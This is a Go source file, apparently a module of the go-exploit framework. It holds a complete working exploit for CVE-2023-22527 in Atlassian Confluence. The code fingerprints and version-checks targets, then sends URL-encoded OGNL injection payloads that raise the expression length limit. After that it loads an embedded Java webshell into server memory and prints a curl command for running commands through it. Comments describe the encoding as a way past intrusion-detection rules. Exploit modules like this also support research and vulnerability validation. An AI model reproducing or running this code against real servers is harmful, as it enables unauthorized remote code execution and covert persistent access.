Files
2024-10-25 13:56:05 -04:00

204 lines
6.4 KiB
Go

package main
import (
_ "embed"
b64 "encoding/base64"
"encoding/binary"
"regexp"
"strconv"
"strings"
"github.com/vulncheck-oss/go-exploit"
"github.com/vulncheck-oss/go-exploit/c2"
"github.com/vulncheck-oss/go-exploit/config"
"github.com/vulncheck-oss/go-exploit/output"
"github.com/vulncheck-oss/go-exploit/protocol"
"github.com/vulncheck-oss/go-exploit/random"
"github.com/vulncheck-oss/go-exploit/transform"
)
//go:embed ABCDEFG.class
var webshellClass string
type ConfluenceOGNLExploit struct{}
func (sploit ConfluenceOGNLExploit) ValidateTarget(conf *config.Config) bool {
uri := protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, "/")
resp, body, ok := protocol.HTTPGetCache(uri)
if !ok {
return false
}
if resp.StatusCode != 200 {
output.PrintfError("Received an unexpected HTTP status code: %d", resp.StatusCode)
return false
}
_, ok = resp.Header["X-Confluence-Request-Time"]
if !ok {
return false
}
_, ok = resp.Header["Set-Cookie"]
if !ok {
return false
}
return strings.Contains(body, "confluence-context-path")
}
func (sploit ConfluenceOGNLExploit) CheckVersion(conf *config.Config) exploit.VersionCheckType {
uri := protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, "/")
resp, bodyString, ok := protocol.HTTPGetCache(uri)
if !ok {
return exploit.Unknown
}
if resp.StatusCode != 200 {
output.PrintfError("Received an unexpected HTTP status code: %d", resp.StatusCode)
return exploit.Unknown
}
if !strings.Contains(bodyString, "Atlassian Confluence") {
output.PrintError("The HTTP response did not contain the expected Atlassian branding.")
return exploit.Unknown
}
re := regexp.MustCompile("<span id='footer-build-information'>([0-9a-zA-Z.]+)</span>")
res := re.FindAllStringSubmatch(bodyString, -1)
if len(res) == 0 {
output.PrintError("Failed to extract the footer build information")
return exploit.Unknown
}
version := res[0][1]
exploit.StoreVersion(conf, version)
versionArray := strings.Split(version, ".")
if len(versionArray) != 3 {
output.PrintfError("Unexpected version number")
return exploit.Unknown
}
major, _ := strconv.Atoi(versionArray[0])
minor, _ := strconv.Atoi(versionArray[1])
point, _ := strconv.Atoi(versionArray[2])
if major != 8 {
return exploit.NotVulnerable
}
switch {
case minor < 5:
return exploit.Vulnerable
case minor == 5 && point <= 3:
return exploit.Vulnerable
default:
}
return exploit.NotVulnerable
}
// Send a request that encresses the max OGNL size so that we can send our payload.
func adjustExpressLength(conf *config.Config) bool {
uri := protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, "/template/aui/text-inline.vm")
output.PrintfStatus("Sending OGNL expression size limit adjustment to %s", uri)
// in an attempt to be sneaky, randomize the start of label and used a randomly generated param
unused := random.RandLetters(12)
param := random.RandLetters(3)
// URL encoding everything bypasses ET rules
params := map[string]string{
"label": transform.URLEncodeString(unused) + `\u0027` +
transform.URLEncodeString("+#request.get(") + `\u0027` + transform.URLEncodeString(`.KEY_velocity.struts2.context`) + `\u0027` +
transform.URLEncodeString(`).internalGet(`) + `\u0027` +
transform.URLEncodeString(`ognl`) + `\u0027` +
transform.URLEncodeString(`).findValue(#parameters.`+param+",{})+") + `\u0027`,
param: transform.URLEncodeString(`@ognl.Ognl@applyExpressionMaxLength(100000)`),
}
resp, _, ok := protocol.HTTPSendAndRecvURLEncoded("POST", uri, params)
if !ok {
return false
}
if resp.StatusCode != 200 {
output.PrintError("Unexpected HTTP status %d", resp.StatusCode)
return false
}
return true
}
func sendWebshell(conf *config.Config) (string, bool) {
// replace the predefined Class name and command param
classSize := make([]byte, 2)
classString := transform.Title(random.RandLettersRange(8, 17))
binary.BigEndian.PutUint16(classSize, uint16(len(classString)))
uniqWebshellClass := strings.ReplaceAll(webshellClass, "\x00\x07ABCDEFG", string(classSize)+classString)
shellSize := make([]byte, 2)
shellString := transform.Title(random.RandLettersRange(8, 17))
binary.BigEndian.PutUint16(shellSize, uint16(len(shellString)))
uniqWebshellClass = strings.ReplaceAll(uniqWebshellClass, "\x00\x0cAAAAAAAAAAAA", string(shellSize)+shellString)
// base64 encode the webshell so we can send it across the wire
encodedShell := b64.StdEncoding.EncodeToString([]byte(uniqWebshellClass))
// in an attempt to be sneaky, randomize the start of label and used a randomly generated param
unused := random.RandLetters(12)
param := random.RandLetters(3)
uri := protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, "/template/aui/text-inline.vm")
output.PrintfStatus("Sending class %s to %s", classString, uri)
params := map[string]string{
param: transform.URLEncodeString("(@org.springframework.cglib.core.ReflectUtils@defineClass('" + classString +
"',@org.springframework.util.Base64Utils@decodeFromString('" + encodedShell +
"'),@java.lang.Thread@currentThread().getContextClassLoader())).getDeclaredConstructors[0].newInstance(@org.apache.struts2.ServletActionContext@getRequest().getServletContext())"),
`label`: transform.URLEncodeString(unused + `\u0027+#request.get(\u0027.KEY_velocity.struts2.context\u0027).internalGet(\u0027ognl\u0027).findValue(#parameters.` +
param + `,{})+\u0027`),
}
resp, _, ok := protocol.HTTPSendAndRecvURLEncoded("POST", uri, params)
if !ok {
return "", false
}
if resp.StatusCode != 200 {
output.PrintError("Unexpected HTTP status %d", resp.StatusCode)
return "", false
}
return shellString, true
}
func (sploit ConfluenceOGNLExploit) RunExploit(conf *config.Config) bool {
if !adjustExpressLength(conf) {
return false
}
shellString, ok := sendWebshell(conf)
if !ok {
return false
}
uri := protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, "/")
output.PrintfSuccess("In memory webshell available using %s param", shellString)
output.PrintfSuccess("Example usage: curl -kv %s?%s=whoami", uri, shellString)
return true
}
func main() {
conf := config.NewRemoteExploit(
config.ImplementedFeatures{AssetDetection: true, VersionScanning: true, Exploitation: true},
config.Webshell, []c2.Impl{}, "Atlassian", []string{"Confluence Data Center", "Confluence Server"},
[]string{"cpe:2.3:a:atlassian:confluence_data_center", "cpe:2.3:a:atlassian:confluence_server"},
"CVE-2023-22527", "HTTP", 8090)
sploit := ConfluenceOGNLExploit{}
exploit.RunProgram(sploit, conf)
}